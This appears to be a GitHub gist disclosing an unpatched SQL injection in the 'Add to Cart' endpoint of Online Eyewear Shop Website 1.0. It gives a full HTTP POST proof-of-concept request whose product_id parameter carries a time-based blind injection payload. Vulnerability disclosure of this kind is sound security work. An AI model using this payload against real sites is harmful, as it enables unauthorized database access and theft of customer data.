Skip to content

Instantly share code, notes, and snippets.

@higordiego
Created October 13, 2024 20:51
Show Gist options
  • Save higordiego/2373b9e3e89f03e5f8888efd38eb4b48 to your computer and use it in GitHub Desktop.
Save higordiego/2373b9e3e89f03e5f8888efd38eb4b48 to your computer and use it in GitHub Desktop.

Affected Version:

  • Online Eyewear Shop Website: 1.0

Vulnerability Information:

  • Vulnerability Type: SQL Injection
  • Severity: CRITICAL
  • Status: Unpatched

Vulnerable Endpoint:

  • classes/Master.php?f=add_to_card

Vulnerability Description:

A critical SQL injection vulnerability has been identified in the "Add to Cart" feature of the Online Eyewear Shop Website version 1.0. The flaw is triggered through the product_id parameter sent via a POST request to the endpoint classes/Master.php?f=add_to_card. Attackers can manipulate the product_id input to execute arbitrary SQL commands, leading to unauthorized access and potential data breaches.

This vulnerability compromises the backend database, allowing attackers to extract sensitive information or disrupt normal operations. As there is no patch available, the risk remains critical.


Proof of Concept (PoC):

Below is an example of a malicious POST request exploiting the SQL injection vulnerability by tampering with the product_id parameter:

POST /classes/Master.php?f=add_to_card HTTP/1.1
Host: localhost:8080
Content-Length: 66
sec-ch-ua-platform: "Linux"
Accept-Language: pt-BR,pt;q=0.9
sec-ch-ua: "Chromium";v="129", "Not=A?Brand";v="8"
sec-ch-ua-mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://localhost:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8080/?p=products/view_product&id=1
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=48068ce7875c00d88ca3aa2b9269b91f;
Connection: keep-alive

product_id=1' AND (SELECT 3879 FROM (SELECT(SLEEP(5)))odXD)-- XSxt

Burp Suite Requests:

  • Burp Suite PoC 1
  • Burp Suite PoC 2

SQLMap Exploit:

  • SQLMap PoC

External Links:

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment